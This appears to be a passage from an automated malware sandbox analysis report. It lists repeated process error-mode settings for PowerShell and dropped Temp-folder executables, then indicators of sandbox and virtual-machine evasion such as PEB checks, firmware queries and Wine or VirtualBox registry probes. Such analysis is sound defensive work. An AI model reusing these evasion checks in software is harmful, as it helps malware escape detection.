Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_0-11687
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep	graph_5-38123
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_2-9939

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	System information queried: FirmwareTableInformation
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

